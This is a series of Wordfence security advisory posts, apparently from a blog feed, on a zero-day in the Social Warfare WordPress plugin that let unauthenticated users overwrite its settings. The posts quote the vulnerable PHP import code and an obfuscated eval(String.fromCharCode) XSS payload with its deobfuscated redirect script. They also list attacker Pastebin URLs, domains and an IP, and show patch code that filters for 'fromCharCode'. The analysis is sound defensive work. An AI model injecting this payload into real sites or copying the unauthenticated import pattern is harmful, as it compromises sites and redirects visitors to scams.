To reiterate, this is not a new vulnerability. This is the same flaw that was patched in Social Warfare 3.5.3, and that the Premium version of the Wordfence firewall has protected against since last week. If you believe anyone in your network uses the Social Warfare plugin and still has not updated, please make sure they’re aware of this issue. We are still tracking the threat actors targeting this vulnerability, and will report on noteworthy findings as they present themselves.

The post Recent Social Warfare Vulnerability Allowed Remote Code Execution appeared first on Wordfence.

Read More

Social Warfare Plugin Zero-Day: Details and Attack Data

In our earlier post, we issued a warning to users of the Social Warfare plugin regarding a zero-day vulnerability affecting their sites. At this time, the plugin’s developers have issued a patch for the flaw. All users are urged to update to version 3.5.3 immediately.

Vulnerability Details

The plugin features functionality that allows users to clone its settings from another site. However, this functionality was not restricted to administrators or even logged-in users. An attacker is able to input a URL pointing to a crafted configuration document, which overwrites the plugin’s settings on the victim’s site.

/**
 * Migrates options from $_GET['swp_url'] to the current site.
 *
 * @since 3.4.2
 */
if ( true == SWP_Utility::debug('load_options') ) {
	if (!is_admin()) {
		wp_die('You do not have authorization to view this page.');
	}

	$options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');
if (update_option( 'social_warfare_settings', $new_options )) {
	wp_die('Social Warfare settings updated to match ' . $_GET['swp_url']);
}

With the ability to modify the social media plugin’s settings, an attacker can pivot and perform more malicious activity. In all cases we’ve tracked so far, attackers modify the twitter_id value, as it most directly leads to a front-facing XSS injection point.

Active Exploit Campaign

Threat actors exploiting this flaw host their payloads as Pastebin raw files, as the URLs are anonymous and don’t point directly to the attacker’s infrastructure. At this time, we’ve identified three main Pastebin addresses:

  • https://pastebin.com/raw/0yJzqbYf
  • https://pastebin.com/raw/PcfntxEs
  • https://pastebin.com/raw/cYEtKpad
    • This document was taken down by Pastebin at the time of this writing.

The two Pastebin URLs that were still live were nearly identical. Both contained the same type of injection, at the same injection point, with the same obfuscation method, and both performed redirects in the same manner. The only difference is the redirect target.

eval(String.fromCharCode(118, 97, 114, 32, 108, 108, 116, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 101, 116, 102, 111, 114, 99, 111, 110, 102, 105, 103, 112, 108, 101, 97, 115, 101, 46, 99, 111, 109, 47, 119, 101, 110, 98, 51, 52, 104, 103, 113, 102, 99, 97, 53, 54, 55, 53, 54, 56, 57, 53, 55, 57, 46, 112, 104, 112, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 114, 101, 112, 108, 97, 99, 101, 40, 108, 108, 116, 32, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 108, 108, 116, 32, 59, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 108, 108, 116, 59));

Deobfuscating the above script results in the following JavaScript payload:

var llt = "hXXps://setforconfigplease[.]com/wenb34hgqfca5675689579.php";
document.location.replace(llt );
document.location.href=llt ;
window.location.href=llt;

Between the two payloads, the following URLs were present:

  • hXXps://setforconfigplease[.]com/wenb34hgqfca5675689579.php
  • hXXps://strangefullthiggngs[.]com/sdjgjkhjk9.php

One domain, setforconfigplease[.]com, has been on our radar for a while now, most recently in our recent research into attacks against Easy WP SMTP. The other, strangefullthiggngs[.]com, is a newcomer. In fact, it was registered today.

WHOIS data for strangefullthiggngs[.]com showing it was created today, March 21.

These domains are part of a larger redirect campaign, and are both hosted on the same IP address, 176.123.9.52. Visitors who are redirected to these addresses are subsequently redirected to a series of malicious sites, and their individual activity is tracked via cookies. Reports have indicated a variety of eventual redirect targets, from pornography to tech support scams.

Patch Released

As mentioned, the plugin’s vendor issued a patch for this vulnerability within hours of becoming aware of it.

Screenshot of the diffset between the vulnerable and patched versions of the plugin.

As shown in the diff above, all of the existing settings import code was gutted from the plugin and replaced. Additionally, new code was added which attempts to directly reverse the XSS injections that had been distributed.

private function correct_invalid_values() {
	$defaults = $this->registered_options['defaults'];
	$values   = $this->registered_options['values'];

	foreach( $this->user_options as $key => $value ) {

		// For the Zero Day bug catch
		if ( 'twitter_id' == $key ) {
			if ( strpos( $value, '<' ) || strlen( $value ) > 15 ) {
				$this->user_options['twitter_id'] = '';
				SWP_Utility::update_option( 'twitter_id' , '' );
			}
		}

		if ( is_string( $value ) && strpos( $value, 'fromCharCode') > -1 ) {
			$this->user_options[$key] = '';
			SWP_Utility::update_option( $key , '' );
		}

In code added to the function correct_invalid_values(), the plugin now makes efforts to remove injected content from its options values. First, if a < symbol is present in the twitter_id field, or the length of the value is greater than 15 bytes, the setting is set to a blank string. Next, if the string fromCharCode is present in any value, that value is similarly set to an empty string. This is in response to the obfuscation method shown earlier in this post and used by the threat actors behind this campaign.

The behavior of including patch code to directly address the aftermath of successful exploits is uncommon, but not unprecedented. We’ve seen similar efforts as recently as the WooCommerce Abandoned Cart vulnerability we detailed earlier this month.

Conclusion

The Wordfence WAF was quickly updated in response to these threats and our Premium users are protected. As always, we recommend updating your site’s plugins regularly. Unfortunately in this case, the exploit was in the hands of the bad folks before the good ones had a chance to do anything about it. Cases like this illustrate why a layered security posture is so important, and why it’s important to remain constantly in the loop with security news that may affect your site.

The post Social Warfare Plugin Zero-Day: Details and Attack Data appeared first on Wordfence.

Read More

Unpatched Zero-Day Vulnerability in Social Warfare Plugin Exploited In The Wild

Earlier today, an unnamed security researcher published a full disclosure of a stored Cross-Site Scripting (XSS) vulnerability present in the most recent version of popular WordPress plugin Social Warfare. The plugin, which was subsequently removed from the WordPress.org plugin repository, has an active install base of over 70,000 sites. The flaw allows attackers to inject malicious JavaScript code into the social share links present on a site’s posts.

The Defiant Threat Intelligence team has already identified attacks against this vulnerability, and has deployed a firewall rule to prevent its exploitation. Premium users gain immediate access to the new rule, and after a thirty-day delay it will be available to Free users. Because this vulnerability has yet to be patched, it is recommended that site administrators deactivate the plugin until a patch is released.

At this time, we are refraining from publicizing details of the flaw and the attacks against it. At such time that the vendor makes a patch available, we will produce a follow-up post with further information.

What Should I Do?

If your site is protected by Wordfence Premium, your firewall will have a new rule designed to prevent these attacks. If not, you can gain access to the rule by upgrading to Premium now. Short of that, deactivating the Social Warfare plugin until a patch is available will prevent these attacks, though at the loss of the plugin’s functionality.

Our team is actively tracking attacks against this flaw, and will produce more details as soon as we feel is responsible. In the meantime, please consider sharing this public service announcement to other WordPress users who may not know of these new risk factors.

The post Unpatched Zero-Day Vulnerability in Social Warfare Plugin Exploited In The Wild appeared first on Wordfence.

Read More
Page 1 of 3123»